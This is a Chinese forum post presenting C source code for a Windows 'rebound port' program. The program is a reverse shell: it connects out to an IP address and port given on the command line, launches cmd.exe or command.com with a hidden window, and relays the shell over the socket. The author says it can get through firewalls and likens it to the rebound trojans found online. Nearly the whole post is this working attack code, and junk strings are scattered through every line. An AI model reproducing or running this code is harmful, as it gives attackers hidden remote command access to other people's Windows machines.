Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 E+EcXf  
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/* ============================== k&:q|[N  
Rebound port in Windows NT @aN~97 H\  
By wind,2006/7 F'>yBDm*OM  
===============================*/ %).I&)i  
#include AX&Emz-  
#include #g@4c3um|  
>TM{2b,(p  
#pragma comment(lib,"wsock32.lib") <,it<$f#  
>Ik%_:CC`  
void OutputShell(); _-H,S)kI`  
SOCKET sClient; o\ce|Dzt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?Fl O,|   
7p\&D?  
void main(int argc,char **argv) U[Sh){4j  
{ 3?<A]"X.  
WSADATA stWsaData; }6pr.-J  
int nRet; h4itXJy52B  
SOCKADDR_IN stSaiClient,stSaiServer; 5(\/ b<#  
7)1%Z{Dy  
if(argc != 3) ]b>XN8y.  
{ 8dLmsk^  
printf("Useage:\n\rRebound DestIP DestPort\n"); !gV{[j?~zr  
return; :-U&_%#w  
} @:
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^~*  
WSAStartup(MAKEWORD(2,2),&stWsaData); Im-qGB0C  
Z_dL@\#|  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K:qc "Q=C  
pzjNi=vhd  
stSaiClient.sin_family = AF_INET; b@=H$"  
stSaiClient.sin_port = htons(0); ]8OmYU%6V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Vv5T(~  
<KtL,a=2+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \p}GW  
{ +:jv )4^O  
printf("Bind Socket Failed!\n"); 6Y6t.j0vN.  
return; w;(=wN\  
} q&3(yhx  
/qwY/^  
stSaiServer.sin_family = AF_INET; !mWm@}Ujg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~iiDy;"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i9rv8"0>  
iD%a;]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |7n%8JsY!"  
{ gaNe\  
printf("Connect Error!"); (4RtoYWW  
return; -qvMMit%7  
} :/6aBM?  
OutputShell(); pbqk  
} @`nG&U  
o(> #}[N}  
void OutputShell() m+7%]$  
{ ?G7*^y&Q  
char szBuff[1024]; K
hv}q.)F  
SECURITY_ATTRIBUTES stSecurityAttributes; :5&UWL|  
OSVERSIONINFO stOsversionInfo; wxBZ+UP_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^?\|2H  
STARTUPINFO stStartupInfo; [e_csQ  
char *szShell; a{}#t}  
PROCESS_INFORMATION stProcessInformation; )K::WqR%w)  
unsigned long lBytesRead; ~,)D n  
g] ]6)nT  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %qE"A6j  
=\oW{?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3m4 sh~  
stSecurityAttributes.lpSecurityDescriptor = 0; ~Al3Dv9x  
stSecurityAttributes.bInheritHandle = TRUE; E+e),qsbO  
_\,lv \u  
v$JW7CKA  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?UIW&*h}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Pk(%=P,  
5! +{JTXa  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .!lLj1?p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aR@+Qf  
stStartupInfo.wShowWindow = SW_HIDE; CK|AXz+EN  
stStartupInfo.hStdInput = hReadPipe; =|empv#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9AQ,@xP|  
#4"eQ*.*"  
GetVersionEx(&stOsversionInfo); x;} 25A|  
_(~E8g  
switch(stOsversionInfo.dwPlatformId) UmMu|`  
{ {]0T  
case 1: xC0y2+)|  
szShell = "command.com"; R-,L"Vv  
break; ,z`D}<3  
default: <}c7E3Uc  
szShell = "cmd.exe"; vpdPW%B  
break; XN?my@_HpM  
} :P%?!'M  
8r@GoG>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rFm?Bu  
c(b`eUOO  
send(sClient,szMsg,77,0); r~oUln<[  
while(1) s`[V{1m,  
{ dWi.V?K4z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); L*4=b (3  
if(lBytesRead) pEN`6*  
{ t,0}}9%?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _/.VXW  
send(sClient,szBuff,lBytesRead,0); +7 j/.R  
} 7(C)vtEO:  
else KjF8T7%  
{ %gSmOW2.c^  
lBytesRead=recv(sClient,szBuff,1024,0); aM#xy6:XG  
if(lBytesRead<=0) break; JX&%5sn(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); eAjR(\f>  
} 63$`KG3  
} 0jxXUWO  
55] MRv  
return; k 7@:e$7  
}